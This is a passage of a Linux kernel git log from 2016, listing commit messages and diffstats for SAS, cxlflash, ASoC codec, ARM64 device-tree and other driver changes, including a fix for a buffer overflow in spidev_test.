up on external interrupt feature. This feature specific code in suspend and resume handlers will be skipped. Signed-off-by: Amitkumar Karwar Reviewed-by: Javier Martinez Canillas Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/sdio.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 8cc123671a08f35be6b00f6131d3bf8504372ae0 Author: Nicolin Chen Date: Wed Aug 24 11:00:27 2016 -0700 ASoC: rt5659: Fix incorrect register addresses According to the datasheets of Realtek ALC5658 (Rev. 0.9) and ALC5659 (Rev. 0.13), the "IRQ Control 4" register is located at MX-00BAh while the "IRQ control 5" register is at MX-00BBh. There is no "IRQ Control 6" register in the datasheets but it is supposed to be behind the "IRQ Control 5" register. So this patch corrects these addresses. Signed-off-by: Nicolin Chen Signed-off-by: Mark Brown sound/soc/codecs/rt5659.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit dde53bcc3ea054a72b6d42a6fe56beb4b1a914f2 Author: Samaga Krishna Date: Wed Aug 24 18:03:21 2016 +0530 ASoC: Intel: Skylake: Add 32bit support We also support 32bit playback, so add that in DAI capabilities. Signed-off-by: Samaga Krishna Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-pcm.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 9c81e2cf7b9f4f0a806abb8d59736246b1b79708 Author: John Garry Date: Tue Sep 6 23:36:25 2016 +0800 scsi: hisi_sas: send three identify before phy up When the v2 hw is attached with many disks through an expander, there may be OOB reset resulting in a PHY going down after the speed is negotiated (very low probability). This issue is resolved by modifying the link control registers to send three identify frames before the PHY is ready (according to 6.10.3.3.2 in SAS 3.0 spec) and close ready when the PHY is down. Signed-off-by: NengLong Zhao Signed-off-by: John Garry Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_v2_hw.c | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) commit 56cc74b9999ff0059007626ef8fab031033a166b Author: John Garry Date: Tue Sep 6 23:36:24 2016 +0800 scsi: hisi_sas: add missing SATA pending device type to v2 hw In setup_itct_v2_hw(), SATA device type SAS_SATA_PENDING is missing, so add it. Note: The HiSi SAS controller does not support SATA PM, so do not handle SAS_SATA_PM_PORT or SAS_SATA_PM. Signed-off-by: John Garry Signed-off-by: Xiang Chen Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_v2_hw.c | 1 + 1 file changed, 1 insertion(+) commit 8583d3b5b09f08a5b970489cc34a268f500a4a3d Author: John Garry Date: Tue Sep 6 23:36:23 2016 +0800 scsi: hisi_sas: remove init_id_frame_v1_hw() Function config_id_frame_v1_hw() is called twice for each PHY during initialisation, which is unneeded. So remove init_id_frame_v1_hw(), which only calls config_id_frame_v1_hw(). We will keep the call to config_id_frame_v1_hw() in start_phy_v1_hw() since it will be used for PHY reset functions. Signed-off-by: John Garry Signed-off-by: Xiang Chen Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_v1_hw.c | 10 ---------- 1 file changed, 10 deletions(-) commit 514f16e36b8cb7852fc388faeaccea125884a3cd Author: John Garry Date: Tue Sep 6 23:36:22 2016 +0800 scsi: hisi_sas: remove init_id_frame_v2_hw() Function config_id_frame_v2_hw() is called twice for each PHY during initialisation, which is unneeded. So remove init_id_frame_v2_hw(), which only calls config_id_frame_v2_hw(). We will keep the call to config_id_frame_v2_hw() in start_phy_v2_hw() since it will be used for PHY reset functions. Signed-off-by: John Garry Signed-off-by: Xiang Chen Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_v2_hw.c | 10 ---------- 1 file changed, 10 deletions(-) commit 44c4abe08f224817747795fb8d0677888166e4cd Author: John Garry Date: Tue Sep 6 23:36:21 2016 +0800 scsi: hisi_sas: fix HBA SAS addr endianness for v1 hw The endianness for the SAS address in the TX_ID_DWORD registers is set incorrectly. We see errors like this in the boot log for v2 hw (which would have the same issue as v1 hw): [ 7.583284] sas: target proto 0x0 at 50000d1108e7923f:0x1f not handled This is due to the host SAS addr not matching the PHY SAS addr in the expander host-attached phy discovery responses. To fix, we byte swap the SAS addr from BE to LE (which is the endianness of the SAS controller). Signed-off-by: John Garry Signed-off-by: Xiang Chen Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_v1_hw.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit d82debecf29b4d89e2d17a52dc32c745ba97c999 Author: John Garry Date: Tue Sep 6 23:36:20 2016 +0800 scsi: hisi_sas: fix HBA SAS addr endianness for v2 hw The endianness for the SAS address in the TX_ID_DWORD registers is set incorrectly. We see errors like this in the boot log: [ 7.583284] sas: target proto 0x0 at 50000d1108e7923f:0x1f not handled This is due to the host SAS addr not matching the PHY SAS addr in the expander host-attached phy discovery responses. To fix, we byte swap the SAS addr from BE to LE (which is the endianness of the SAS controller). Signed-off-by: John Garry Signed-off-by: Xiang Chen Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_v2_hw.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit a6f2c7fff90a6fe7a31e764a21b65a809fafa765 Author: John Garry Date: Tue Sep 6 23:36:19 2016 +0800 scsi: hisi_sas: set dma mask before allocate DMA memory The device DMA mask was being set after the bulk of the DMA allocations in the driver init, so potentially DMA allocates fail. To resolve, relocate before allocating the DMA memory when initialising the driver. Signed-off-by: Xiang Chen Signed-off-by: John Garry Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_main.c | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) commit 09fe9ecb18a7add9b05928151998692d96338e41 Author: John Garry Date: Tue Sep 6 23:36:18 2016 +0800 scsi: hisi_sas: fix a potential warning for sata disk ejection If hisi_sas_task_prep() fails for a SATA device due to PHY down, we return a failure to libata and also call task_done(), which will cause ata_qc_complete() to be called twice: - first call from hisi_sas_task_prep(), which will clear flag ATA_QCFLAG_ACTIVE - ata_qc_complete() called from libata The warning call trace is as follows: [ 117.070206] [] __ata_qc_complete+0xf4/0x11c [ 117.070208] [] ata_qc_complete+0x180/0x200 [ 117.070210] [] ata_qc_issue+0x110/0x354 [ 117.070212] [] ata_exec_internal_sg+0x240/0x4d0 [ 117.070214] [] ata_exec_internal+0x60/0xa0 [ 117.070217] [] ata_read_log_page+0x188/0x1b4 [ 117.070218] [] ata_eh_analyze_ncq_error+0xa8/0x274 [ 117.070220] [] ata_eh_link_autopsy+0x94/0x8c8 [ 117.070222] [] ata_eh_autopsy+0x34/0xe8 [ 117.070223] [] ata_do_eh+0x28/0xc0 [ 117.070225] [] ata_std_error_handler+0x3c/0x84 [ 117.070227] [] ata_scsi_port_error_handler+0x480/0x674 [ 117.070230] [] async_sas_ata_eh+0x44/0x78 [ 117.070231] [] async_run_entry_fn+0x40/0x104 [ 117.070234] [] process_one_work+0x128/0x2f0 [ 117.070235] [] worker_thread+0x58/0x434 [ 117.070237] [] kthread+0xd4/0xe8 [ 117.070240] [] ret_from_fork+0x10/0x40 The issue is resolved by simply returning a failure status code to the upper layer. Signed-off-by: Xiang Chen Signed-off-by: John Garry Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_main.c | 26 ++++++-------------------- 1 file changed, 6 insertions(+), 20 deletions(-) commit 85bd6cf3be44602a85714ca61442c3b0666dbb62 Author: John Garry Date: Tue Sep 6 23:36:17 2016 +0800 scsi: hisi_sas: fix phy8 linkrate calculation in phy_up_v2_hw() In function phy_up_v2_hw(), we needlessly recalculate the phy linkrate for all phys, and the calculation is incorrect for phy8, so remove this code. Signed-off-by: John Garry Signed-off-by: Xiang Chen Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_v2_hw.c | 3 --- 1 file changed, 3 deletions(-) commit d0df8f9ad549b8dda643a518fc1907abdaf33976 Author: John Garry Date: Tue Sep 6 23:36:16 2016 +0800 scsi: hisi_sas: disable dlvry queues once at reset for v2 hw The Delivery queue enable register should only be written to once at reset for v2 hw. Signed-off-by: John Garry Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_v2_hw.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 433f569601402d6b1f0df17b75327aed082680a4 Author: John Garry Date: Tue Sep 6 23:36:15 2016 +0800 scsi: hisi_sas: use safe BITS_PER_BYTE for slot tag size calculation The memory calculation for the tags bitmap should use BITS_PER_BYTE macro instead of coincidental same value of sizeof(unsigned long). Signed-off-by: John Garry Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 59ba49f9d6ab0b265f692ae37d9787d6dbb39f00 Author: John Garry Date: Tue Sep 6 23:36:14 2016 +0800 scsi: hisi_sas: only zero slot memory when reused Currently the slot memory is zeroed when it is freed and also when it is reused, like in hisi_sas_task_prep(). Optimise by avoiding the redundant zeroing in the free. Signed-off-by: John Garry Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f1dc358408330f6ffc4cf3fa6353684f4a976f43 Author: John Garry Date: Tue Sep 6 23:36:13 2016 +0800 scsi: hisi_sas: keep CHL_INT2 masked for v2 HW None of the CHL_INT2 interrupts are serviced in the channel irq ISR, so leave the interrupt source masked. The interrupt mask is initially set in init_reg_v2_hw(). Signed-off-by: John Garry Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas_v2_hw.c | 6 ------ 1 file changed, 6 deletions(-) commit 4fde02ad66dc9ceb0b55daca21ef33b43df30ded Author: John Garry Date: Tue Sep 6 23:36:12 2016 +0800 scsi: hisi_sas: save delivery queue write pointer Optimise by saving an avoidable read in the get_free_slot function. The delivery queue write pointer will only be updated by software, so don't bother re-reading what was already written in the previous call to start_delivery function. Signed-off-by: John Garry Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas.h | 7 +++++++ drivers/scsi/hisi_sas/hisi_sas_main.c | 5 +++++ drivers/scsi/hisi_sas/hisi_sas_v1_hw.c | 12 +++++++----- drivers/scsi/hisi_sas/hisi_sas_v2_hw.c | 9 ++++++--- 4 files changed, 25 insertions(+), 8 deletions(-) commit e6c346f303d41b8799ea224d0faf1b2caa1c98db Author: John Garry Date: Tue Sep 6 23:36:11 2016 +0800 scsi: hisi_sas: save completion queue read pointer Optimise by saving an avoidable read in the cq interrupt. The queue read pointer will only be updated by software, so don't bother re-reading what was already written in the previous interrupt. Signed-off-by: John Garry Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/hisi_sas/hisi_sas.h | 1 + drivers/scsi/hisi_sas/hisi_sas_v1_hw.c | 6 ++---- drivers/scsi/hisi_sas/hisi_sas_v2_hw.c | 5 ++--- 3 files changed, 5 insertions(+), 7 deletions(-) commit c4a11827b760ef8dcda26b5731d072b1d8fb7c81 Author: Matthew R. Ochs Date: Fri Sep 2 15:40:41 2016 -0500 scsi: cxlflash: Fix context reference tracking on detach Commit 888baf069f49 ("scsi: cxlflash: Add kref to context") introduced a kref to the context. In particular, the detach routine was updated to use the kref services for managing the removal and destruction of a context. As part of this change, the tracking mechanism internal to the detach handler was refactored. This introduced a bug that can cause the tracking state to be lost. This can lead to a situation where exclusive access to a context is prematurely [and unknowingly] relinquished for the executing thread. To remedy, only update the tracking state when the kref operation indicates the context was removed. Fixes: 888baf069f49 ("scsi: cxlflash: Add kref to context") Signed-off-by: Matthew R. Ochs Acked-by: Uma Krishnan Signed-off-by: Martin K. Petersen drivers/scsi/cxlflash/superpipe.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit f80132613d576e7e705344d0c33f3b5e65d9e16a Author: Matthew R. Ochs Date: Fri Sep 2 15:40:20 2016 -0500 scsi: cxlflash: Refactor WWPN setup Commit 964497b3bf3f ("cxlflash: Remove dual port online dependency") logically removed the ability for the WWPN setup routine afu_set_wwpn() to return a non-success value. This routine can safely be made a void to simplify the code as there is no longer a need to report a failure. Signed-off-by: Matthew R. Ochs Acked-by: Uma Krishnan Signed-off-by: Martin K. Petersen drivers/scsi/cxlflash/main.c | 40 +++++++++------------------------------- 1 file changed, 9 insertions(+), 31 deletions(-) commit 05dab43230fdc0d14ca885b473a2740fe017ecb1 Author: Matthew R. Ochs Date: Fri Sep 2 15:40:03 2016 -0500 scsi: cxlflash: Improve EEH recovery time When an EEH occurs during device initialization, the port timeout logic can cause excessive delays as MMIO reads will fail. Depending on where they are experienced, these delays can lead to a prolonged reset, causing an unnecessary triggering of other timeout logic in the SCSI stack or user applications. To expedite recovery, the port timeout logic is updated to decay the timeout at a much faster rate when in the presence of a likely EEH frozen event. Signed-off-by: Matthew R. Ochs Acked-by: Uma Krishnan Signed-off-by: Martin K. Petersen drivers/scsi/cxlflash/main.c | 4 ++++ 1 file changed, 4 insertions(+) commit 1d3324c382b1a617eb567e3650dcb51f22dfec9a Author: Matthew R. Ochs Date: Fri Sep 2 15:39:30 2016 -0500 scsi: cxlflash: Fix to avoid EEH and host reset collisions The EEH reset handler is ignorant to the current state of the driver when processing a frozen event and initiating a device reset. This can be an issue if an EEH event occurs while a user or stack initiated reset is executing. More specifically, if an EEH occurs while the SCSI host reset handler is active, the reset initiated by the EEH thread will likely collide with the host reset thread. This can leave the device in an inconsistent state, or worse, cause a system crash. As a remedy, the EEH handler is updated to evaluate the device state and take appropriate action (proceed, wait, or disconnect host). The host reset handler is also updated to handle situations where an EEH occurred during a host reset. In such situations, the host reset handler will delay reporting back a success to give the EEH reset an opportunity to complete. Signed-off-by: Matthew R. Ochs Acked-by: Uma Krishnan Signed-off-by: Martin K. Petersen drivers/scsi/cxlflash/main.c | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) commit af1afc2957d63f84a37b168e56be7a7ef6b43650 Merge: 75696fe 95b5bf7 Author: Kalle Valo Date: Wed Sep 14 19:34:50 2016 +0300 Merge ath-next from git://git.kernel.org/pub/scm/linux/kernel/git/kvalo/ath.git ath.git patches for 4.9. Major changes: ath10k * add nl80211 testmode support for 10.4 firmware * hide kernel addresses from logs using %pK format specifier * implement NAPI support * enable peer stats by default ath9k * use ieee80211_tx_status_noskb where possible wil6210 * extract firmware capabilities from the firmware file ath6kl * enable firmware crash dumps on the AR6004 ath-current is also merged to fix a conflict in ath10k. commit bac6dd36e355d5b1f089ed507b6579938e4c07c1 Merge: da9070b bdb249f Author: Arnd Bergmann Date: Wed Sep 14 17:55:26 2016 +0200 Merge tag 'integrator-armsoc-1' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-integrator into next/late Pull "This is a bunch of Integrator changes for v4.9" Linus Walleij: - Add and fix a bunch of clocks in the DTS corresponding to the new clock support merged into the clk tree. - Move the CLCD display configuration from boardfile to device tree using the new CLCD support merged into the fbdev tree. - Cut some auxdata. - Cut some static remappings. - Move the sched_clock() counter to use syscon+regmap. * tag 'integrator-armsoc-1' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-integrator: ARM: integrator: read counter using syscon/regmap ARM: integrator: cut down on static maps ARM: integrator: delete some auxdata ARM: integrator: move CP CLCD display to DTS ARM: dts: add the core module clocks to Integrator/CP ARM: dts: Add the core module clocks to Integrator/AP ARM: dts: add the Integrator/AP baseboard clocks ARM: dts: set the 24MHz xtal as parent of the UART clock commit 78dc6663a8c12e9d45e7862e3a2c83c68f4a06cf Merge: 2e1762c 908c9e7 Author: Arnd Bergmann Date: Wed Sep 14 17:44:12 2016 +0200 Merge tag 'zynqmp-dt-for-4.9' of https://github.com/Xilinx/linux-xlnx into next/dt64 Pull "arm64: Xilinx ZynqMP dt patches for v4.9" from Michal Simek: - Fix gic ranges property - Use 64bit size cells format - Add PCIe node - Correct pmu and watchdog nodes * tag 'zynqmp-dt-for-4.9' of https://github.com/Xilinx/linux-xlnx: ARM64: zynqmp: Correct the watchdog timer interrupt number ARM64: zynqmp: Add missing interrupt-parent to PMU node ARM64: zynqmp: Add PCIe node ARM64: zynqmp: Use 64bit size cell format ARM64: zynqmp: Align gic ranges for 64k in device tree commit da9070b35ca82465d6fce0f82cf5969f1ec66d6c Merge: e08644b fa765e5 Author: Arnd Bergmann Date: Wed Sep 14 17:42:12 2016 +0200 Merge tag 'renesas-arm64-dt-for-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/horms/renesas into next/late Pull "Renesas ARM64 Based SoC DT Updates for v4.9" from Simon Horman: Clean up: * Remove unnecessary cap-mmc-highspeed property from SDHI nodes on r8a7795 SoC * Add SoC-specific compatible property to audio-dmac nodes on r8a7795 SoC New Board: * Add r8a7794/h3ulcb board Enablement: * Add PFC and GPIO to r8a7796 SoC * Enable DU and USB 2.0 on r8a7795/salvator-x board * Add VTP, FCPV, FCPF and FDP1 to r8a7795 SoC * Set maximum frequency for SDHI clocks on r8a7795 SoC * tag 'renesas-arm64-dt-for-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/horms/renesas: (43 commits) arm64: dts: r8a7796: Add GPIO device nodes arm64: dts: r8a7796: salvator-x: add serial console pins arm64: dts: r8a7796: Add pinctrl device node arm64: dts: r8a7795: salvator-x: Configure pins for the DU RGB output arm64: dts: h3ulcb: enable GPIO leds arm64: dts: h3ulcb: Sound SSI support arm64: dts: h3ulcb: enable SDHI0 arm64: dts: h3ulcb: enable GPIO keys arm64: dts: r8a7795: remove unnecessary cap-mmc-highspeed property arm64: dts: h3ulcb: enable USB2.0 Host channel 1 arm64: dts: h3ulcb: enable USB2 PHY of channel 1 arm64: dts: h3ulcb: enable WDT arm64: dts: h3ulcb: enable EXTALR clk arm64: dts: h3ulcb: enable I2C2 arm64: dts: h3ulcb: enable EthernetAVB arm64: dts: h3ulcb: enable SCIF clk and pins arm64: dts: h3ulcb: initial device tree arm64: dts: h3ulcb: add H3ULCB board DT bindings arm64: dts: r8a7795: Add SoC-specific compatible property to audio-dmac nodes arm64: dts: r8a7795: renesas: salvator-x: Enable DU ... commit f11766143caa065b3aef4d794c104ea0f37ada76 Author: Jeeja KP Date: Tue Sep 6 14:17:55 2016 +0530 ASoC: dpcm: Don't apply symmetry for BE with hw param fixup If be_hw_param_fixup is defined for BE then it will force the BE to a specific configuration supported by HW. In this case don't apply symmetry. Signed-off-by: Jeeja KP Signed-off-by: Mark Brown sound/soc/soc-pcm.c | 3 +++ 1 file changed, 3 insertions(+) commit e08644b0c74ce9bc6e79291f6ef52aa0eb6bb139 Merge: 292cc1a bfe59f9 Author: Arnd Bergmann Date: Wed Sep 14 17:34:35 2016 +0200 Merge tag 'amlogic-dt64' of git://git.kernel.org/pub/scm/linux/kernel/git/khilman/linux-amlogic into next/late Pull "Amlogic 64-bit DT changes for v4.9" from Kevin Hilman: - add watchdog, reset, IR remote, PWM - add secure monitor and eFuse - add always-on (AO) domain clock and reset * tag 'amlogic-dt64' of git://git.kernel.org/pub/scm/linux/kernel/git/khilman/linux-amlogic: ARM64: dts: amlogic: gxbb: Enable NVMEM documentation: Add nvmem bindings documentation ARM64: dts: amlogic: gxbb: Enable secure monitor documentation: Add secure monitor bindings documentation ARM64: dts: meson-gxbb: Add PWM pinctrl nodes ARM64: dts: meson-gxbb: Enable the the IR decoder on supported boards ARM64: dts: meson-gxbb: Add Infrared Remote Controller decoder dt-bindings: media: meson-ir: Add Meson8b and GXBB compatible strings ARM64: dts: amlogic: add the input pin for the IR remote ARM64: dts: meson-gxbb: Add GXBB AO Clock and Reset node clk: meson: Fix invalid use of sizeof in gxbb_aoclkc_probe() clk: meson: Add GXBB AO Clock and Reset controller driver dt-bindings: clock: reset: Add GXBB AO Clock and Reset Bindings ARM64: DTS: meson-gxbb: switch ethernet to real clock ARM64: dts: amlogic: meson-gxbb: Add watchdog node commit 8891098246d07e6dda964a0cffbd504de566c4c3 Author: Bhaktipriya Shridhar Date: Sun Sep 4 21:27:32 2016 +0530 ASoC: tlv320dac33: Remove deprecated create_singlethread_workqueue The workqueue "dac33_wq" queues a single work item &dac33->work and hence doesn't require ordering. Also, it is not being used on a memory reclaim path. Hence, it has been converted to use system_wq. System workqueues have been able to handle high level of concurrency for a long time now and hence it's not required to have a singlethreaded workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue created with create_singlethread_workqueue(), system_wq allows multiple work items to overlap executions even on the same CPU; however, a per-cpu workqueue doesn't have any CPU locality or global ordering guarantee unless the target CPU is explicitly specified and thus the increase of local concurrency shouldn't make any difference. The work item has been flushed in dac33_soc_remove to ensure that there are no pending tasks while disconnecting the driver. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Mark Brown sound/soc/codecs/tlv320dac33.c | 17 ++++------------- 1 file changed, 4 insertions(+), 13 deletions(-) commit 6a0b87c6e7f664aff8957e0889f9f82e5ee27f65 Author: Adam Thomson Date: Mon Sep 12 16:46:50 2016 +0100 ASoC: da7219: Support HP detect procedure when MCLK not present Currently the driver code assumes that MCLK will be present during the procedure, or if it has control of MCLK then it can make sure it's enabled. Some platforms however do not provide MCLK to the driver in this way, and will not leave MCLK enabled when Codec is in STANDBY state. This patch adds support for the HP detect procedure when running from the device's internal oscillator, to ensure all platforms can make use of this feature correctly. Signed-off-by: Adam Thomson Signed-off-by: Mark Brown sound/soc/codecs/da7219-aad.c | 34 ++++++++++++++++++++++++++++++++-- sound/soc/codecs/da7219-aad.h | 6 ++++-- sound/soc/codecs/da7219.h | 2 ++ 3 files changed, 38 insertions(+), 4 deletions(-) commit 2e1762c30f5287b84ab9683305cbd2f9a496078b Merge: 3402a63 7475e27 Author: Arnd Bergmann Date: Wed Sep 14 17:31:58 2016 +0200 Merge tag 'v4.8-next-dts64' of https://github.com/mbgg/linux-mediatek into next/dt64 Pull "ARM: mediatek: dts64 updates for v4.9" from Matthias Brugger: - add HDMI related nodes to mt8173 - enable the HDMI output on mt8173-evb * tag 'v4.8-next-dts64' of https://github.com/mbgg/linux-mediatek: arm64: dts: mt8173-evb: enable HDMI output arm64: dts: mt8173: Add HDMI related nodes commit 3402a63d8dd54fe4a48dd6c40cfa9d19a1dd502d Merge: 736ad00 e5f51a6 Author: Arnd Bergmann Date: Wed Sep 14 17:28:21 2016 +0200 Merge tag 'imx-dt64-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux into next/dt64 Pull "i.MX arm64 device tree changes for 4.9" from Shawn Guo: - Add property dma-coherent for ls2080a PCI device to save software cache maintenance. - Update serial aliases and use stdout-path to sepecify console for ls2080a and ls1043a boards. - Add DDR memory controller device node for ls2080a and ls1043a SoCs. * tag 'imx-dt64-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux: arm64: dts: ls2080a: Add 'dma-coherent' for ls2080a PCI nodes arm64: dts: add stdout-path to chosen node for ls2080a/ls1043a boards arm64: dts: updates serial aliases for ls1043a rdb and qds boards arm64: dts: Add DDR memory controller for Layerscape SoCs commit 736ad004f895b3c81b21d074721ba8ddf35e869d Merge: 291e287 9882324 Author: Arnd Bergmann Date: Wed Sep 14 17:26:34 2016 +0200 Merge tag 'tegra-for-4.9-arm64-dt' of git://git.kernel.org/pub/scm/linux/kernel/git/tegra/linux into next/dt64 Pull "arm64: tegra: Device tree changes for v4.9-rc1" from Thierry Reding: Add a couple of devices (AGIC, ADMA) on Tegra210 and enable them on Smaug. Also enable DPAUX on Smaug to allow the I2C bus that shares pads with the DPAUX to be used to access various audio devices. Furthermore, enable the XUSB controller on Smaug for USB 3.0 support. Finally, select PM_GENERIC_DOMAINS for 64-bit Tegra devices to make sure devices are probed only after their power partitions have been enabled. * tag 'tegra-for-4.9-arm64-dt' of git://git.kernel.org/pub/scm/linux/kernel/git/tegra/linux: arm64: tegra: Select PM_GENERIC_DOMAINS arm64: tegra: Enable XUSB controller on Tegra210 Smaug arm64: tegra: Add the various audio devices for Tegra210 Smaug arm64: tegra: Enable DPAUX for Tegra210 Smaug arm64: tegra: Add ACONNECT, ADMA and AGIC nodes Tegra210 Smaug arm64: tegra: Add SOR power-domain for Tegra210 arm64: tegra: Add ADMA node for Tegra210 arm64: tegra: Add AGIC node for Tegra210 arm64: tegra: Drop clock and reset names for XUSB powergates arm64: tegra: Simplify Tegra210 GPIO compatible value commit 291e287b97a665360875d52b649ed80506c9c51d Merge: 3073be6 f606193 Author: Arnd Bergmann Date: Wed Sep 14 17:24:08 2016 +0200 Merge tag 'v4.9-rockchip-dts64-1' of git://git.kernel.org/pub/scm/linux/kernel/git/mmind/linux-rockchip into next/dt64 Pull "Rockchip dts64 changes for 4.9" from Heiko Stübner: 64bit Rockchip devicetree changes containing support for the recently added firmware reboot-flag support, one new board the Tronsmart Orion based on the rk3368 and a large number of newly supported peripherals for the rk3399 (type-c phy, usb2 phy, pcie controller and pcie phy, gmac, arm-pmu using ppi partitioning, efuse, saradc) as well as some smaller housekeeping and non-critical fixes. * tag 'v4.9-rockchip-dts64-1' of git://git.kernel.org/pub/scm/linux/kernel/git/mmind/linux-rockchip: (22 commits) arm64: dts: rockchip: add Type-C phy for RK3399 arm64: dts: rockchip: enable the gmac for rk3399 evb board arm64: dts: rockchip: add the gmac needed node for rk3399 arm64: dts: rockchip: support the pmu node for rk3399 arm64: dts: rockchip: change all interrupts cells to 4 on rk3399 SoCs arm64: dts: rockchip: add the tcpc for rk3399 power domain arm64: dts: rockchip: add efuse0 device node for rk3399 arm64: dts: rockchip: configure PCIe support for rk3399-evb arm64: dts: rockchip: add the PCIe controller support for RK3399 arm64: dts: rockchip: add the PCIe PHY for RK3399 arm64: dts: rockchip: add the gmac power domain on rk3399 arm64: dts: rockchip: Add pinctrl entry for 32k clock on rk3399 arm64: dts: rockchip: set to CCI clock of RK3399 to 600M arm64: dts: rockchip: fix the address map for WDT0 and WDT1 arm64: dts: rockchip: add the saradc for rk3399 arm64: dts: rockchip: configure usb2-phy support for rk3399-evb arm64: dts: rockchip: add usb2-phy support for rk3399 arm64: dts: rockchip: add syscon-reboot-mode DT node soc: rockchip: add reboot-mode header arm64: dts: rockchip: remove broken-cd from sdio0 ... commit cfeeed279dc2fa83a00fbe4856ebd231d56201ab Author: Josh Poimboeuf Date: Thu Sep 8 16:49:20 2016 -0500 x86/dumpstack: Allow preemption in show_stack_log_lvl() and dump_trace() show_stack_log_lvl() and dump_trace() are already preemption safe: - If they're running in irq or exception context, preemption is already disabled and the percpu stack pointers can be trusted. - If they're running with preemption enabled, they must be running on the task stack anyway, so it doesn't matter if they're comparing the stack pointer against a percpu stack pointer from this CPU or another one: either way it won't match. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/a0ca0b1044eca97d4f0ec7c1619cf80b3b65560d.1473371307.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/dumpstack_32.c | 14 ++++++-------- arch/x86/kernel/dumpstack_64.c | 26 +++++++++----------------- 2 files changed, 15 insertions(+), 25 deletions(-) commit 0278b34bf15f8d8a609595b15909cd8622dd64ca Author: Geert Uytterhoeven Date: Fri Sep 9 09:02:51 2016 +0200 spi: spidev_test: Fix buffer overflow in unescape() Sometimes spidev_test crashes with: *** Error in `spidev_test': munmap_chunk(): invalid pointer: 0x00022020 *** Aborted or just Segmentation fault This is due to transfer_escaped_string() miscalculating the required size of the buffer by one byte, causing a buffer overflow in unescape(). Drop the bogus "+ 1" in the strlen() parameter to fix this. Note that unescape() never copies the zero-terminator of the source string, so it writes at most as many bytes as the length of the source string. Fixes: 30061915be6e3a2c (spi: spidev_test: Added input buffer from the terminal) Signed-off-by: Geert Uytterhoeven Signed-off-by: Mark Brown Cc: # v4.5+ tools/spi/spidev_test.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit df7c52168ee15b3951b50078c0c3960598eb0109 Author: Bard Liao Date: Fri Sep 9 10:33:10 2016 +0800 ASoC: add rt5663 codec driver This is the initial codec driver for both rt5663 rt5668 codec. Signed-off-by: John Lin Signed-off-by: Jack Yu Signed-off-by: Bard Liao Signed-off-by: Mark Brown Documentation/devicetree/bindings/sound/rt5663.txt | 30 + sound/soc/codecs/Kconfig | 7 + sound/soc/codecs/Makefile | 2 + sound/soc/codecs/rt5663.c | 3216 ++++++++++++++++++++ sound/soc/codecs/rt5663.h | 1121 +++++++ 5 files changed, 4376 insertions(+) commit c5c5ca777469f0ff854f1da0aff9b3a9051b3ef7 Author: Christoph Hellwig Date: Sun Sep 11 16:03:04 2016 +0200 block: remove IOPRIO_BITS Signed-off-by: Christoph Hellwig Reviewed-by: Bart Van Assche Signed-off-by: Jens Axboe include/linux/ioprio.h | 1 - 1 file changed, 1 deletion(-) commit fc95db3edeaf924e9ad16592d9c1b06c730a49c9 Author: Christoph Hellwig Date: Sun Sep 11 16:03:03 2016 +0200 bio.h: remove a very outdated comment Signed-off-by: Christoph Hellwig Signed-off-by: Jens Axboe include/linux/bio.h | 2 -- 1 file changed, 